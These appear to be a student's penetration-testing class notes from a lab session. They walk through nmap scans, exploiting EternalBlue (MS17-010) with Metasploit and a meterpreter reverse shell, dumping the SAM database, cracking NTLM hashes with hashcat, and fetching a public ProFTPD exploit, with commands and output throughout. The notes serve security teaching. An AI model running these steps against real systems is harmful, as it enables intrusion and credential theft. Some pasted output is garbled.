

## **Class: 11 (26 Oct 2024)**

192.168.68.86

Penetration test → find vulnerability

- VA (Vulnerability assessment)
- PT (Penetration Test)

Gaining Access

- Password Attacks → sniffing, Trojan, key logger, spyware
- Password Creaking → brute force, dictionary attack

Vulnerability Exploitation

- Identify the vulnerability
- Determine the risk associated with the vulnerability
- Determine the capability of the vulnerability
- Exploit development (Adv. Level) / Exploit Modification (Mid-level)/Exploit selection
- Payload selection
- Gain the access

Exploit → snack, Payload → poison

There are two types of shell:

- Bind shell → attacker to target
- Reverse Shell → target to attacker

Exploitation Framework

- MSF console
- Auxiliary
- Exploits
- Payload
- Post
- Encoder
- Nops
- Evasion

nmap 192.168.10.96

```
# nmap 192.168.10.96
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 02:54 EDT
Nmap scan report for 192.168.10.96
Host is up (0.0045s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3306/tcp   open  mysql
3389/tcp   open  ms-wbt-server
4848/tcp   open  appserv-http
7676/tcp   open  imqbrokerd
8009/tcp   open  ajp13
8022/tcp   open  oa-system
8031/tcp   open  unknown
8080/tcp   open  http-proxy
8181/tcp   open  intermapper
8383/tcp   open  m2mservices
8443/tcp   open  https-alt
9200/tcp   open  wap-wsp
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown
49156/tcp  open  unknown
```

—# locate.nse (.nse mean nmap script)

nmap -p 445 --scripts=smb-vuln-\* 192.168.10.96

msfconsole

msf6 >help

msf6 > search ms17-010

```

root@kali: ~
msf6 > search ms17-010

Matching Modules
=====

#   Name                                     Disclosure Date   Rank    Check  Desc
---  ---                                     -
0   exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average Yes     MS17
-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1   \_ target: Automatic Target               .               .       .       .
2   \_ target: Windows 7                     .               .       .       .
3   \_ target: Windows Embedded Standard 7   .               .       .       .
4   \_ target: Windows Server 2008 R2        .               .       .       .
5   \_ target: Windows 8                     .               .       .       .
6   \_ target: Windows 8.1                   .               .       .       .
7   \_ target: Windows Server 2012           .               .       .       .
8   \_ target: Windows 10 Pro                 .               .       .       .
9   \_ target: Windows 10 Enterprise Evaluation .               .       .       .
10  exploit/windows/smb/ms17_010_psexec      2017-03-14       normal  Yes     MS17
-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11  \_ target: Automatic                     .               .       .       .
12  \_ target: PowerShell                     .               .       .       .
13  \_ target: Native upload                   .               .       .       .
14  \_ target: MOF upload                     .               .       .       .
15  \_ AKA: ETERNALSYNERGY                     .               .       .       .
16  \_ AKA: ETERNALROMANCE                     .               .       .       .
17  \_ AKA: ETERNALCHAMPION                     .               .       .       .
18  \_ AKA: ETERNALBLUE                       .               .       .       .
19  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal  No      MS17
-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
20  \_ AKA: ETERNALSYNERGY                     .               .       .       .
21  \_ AKA: ETERNALROMANCE                     .               .       .       .
22  \_ AKA: ETERNALCHAMPION                     .               .       .       .
23  \_ AKA: ETERNALBLUE                       .               .       .       .
24  auxiliary/scanner/smb/smb_ms17_010        .               normal  No      MS17
-010 SMB RCE Detection
25  \_ AKA: DOUBLEPULSAR                       .               .       .       .
26  \_ AKA: ETERNALBLUE                       .               .       .       .

```

exploit/windows/smb/ms17\_010\_eternalblue → fullname of exploit

msf6 > use exploit/windows/smb/ms17\_010\_eternalblue

```

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

```

Red color mean successfully load

msf6 exploit(windows/smb/ms17\_010\_eternalblue) > show options

RHOST → target host

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

  Name          Current Setting  Required  Description
  ----          -
  RHOSTS         445             yes       The target host(s), see https://docs.metasploit.com/docs/u
  RPORT          445             yes       The target port (TCP)
  SMBDomain      no              (Optional) The Windows domain to use for authentication. C
  SMBPass        no              (Optional) The password for the specified username
  SMBUser        no              (Optional) The username to authenticate as
  VERIFY_ARCH    true            yes       Check if remote architecture matches exploit Target. Only
  VERIFY_TARGET  true            yes       Check if remote OS matches exploit Target. Only affects Wi

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name          Current Setting  Required  Description
  ----          -
  EXITFUNC      thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST         192.168.68.132  yes       The listen address (an interface may be specified)
  LPORT         4444            yes       The listen port

Exploit target:

  Id  Name
  --  ---
  0    Automatic Target

View the full module info with the info, or info -d command.
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.10.96
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    192.168.10.96   yes       The target host(s), see https://docs.metasploit.com/docs
  RPORT     445              yes       The target port (TCP)
  SMBDomain                no        (Optional) The Windows domain to use for authentication.
                                         dard 7 target machines.
  SMBPass                no        (Optional) The password for the specified username
  SMBUser                no        (Optional) The username to authenticate as
  VERIFY_ARCH  true            yes       Check if remote architecture matches exploit Target. Onl
                                         7 target machines.
  VERIFY_TARGET true            yes       Check if remote OS matches exploit Target. Only affects
                                         machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.68.132  yes       The listen address (an interface may be specified)
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Exploit target:

  Id  Name
  --  ---
  0    Automatic Target

View the full module info with the info, or info -d command.
```

#set LPORT 4321

#run

\$(meterpreter>

Vagrant → default id and password

Payload options (windows/x64/meterpreter/reverse\_tcp): → payload name and type

LHOST

run

shell → shell in

exit → shell exit

whoami

dir → show all file

SAM database → where all userid and pass store

How to identify type of hash

<https://www.tunnelsup.com/hash-analyzer/>

For password cracking

- John the ripper
- Hash cat

#hashcat -h | grep NTLM

└─(root@kali)-[~]

└─# hashcat -h|grep NTLM

```
(root@kali)-[~]
└─# hashcat -h|grep NTLM
5500 | NetNTLMv1 / NetNTLMv1+ESS | Network Protocol
27000 | NetNTLMv1 / NetNTLMv1+ESS (NT) | Network Protocol
5600 | NetNTLMv2 | Network Protocol
27100 | NetNTLMv2 (NT) | Network Protocol
1000 | NTLM | Operating System
```

#hashcat -m 1000 win\_hash.txt passwords.txt --force {100 mean NTLM}

└─(root@kali)-[~]

└─# nmap 192.168.10.104

└─(root@kali)-[~]

└─# nmap -p 21 -sV 192.168.10.104

ProFTPD 1.3.5 →version

└─(root@kali)-[~]

└─# nmap -p 21 -sV 192.168.10.104

└─(root@kali)-[~]

└─# git clone <https://github.com/t0kx/exploit-CVE-2015-3306.git>

Reverse shell cheat sheet → google search

<https://www.urlencoder.org/> →

<https://book.hacktricks.xyz/generic-methodologies-and-resources/reverse-shells/full-ttys> →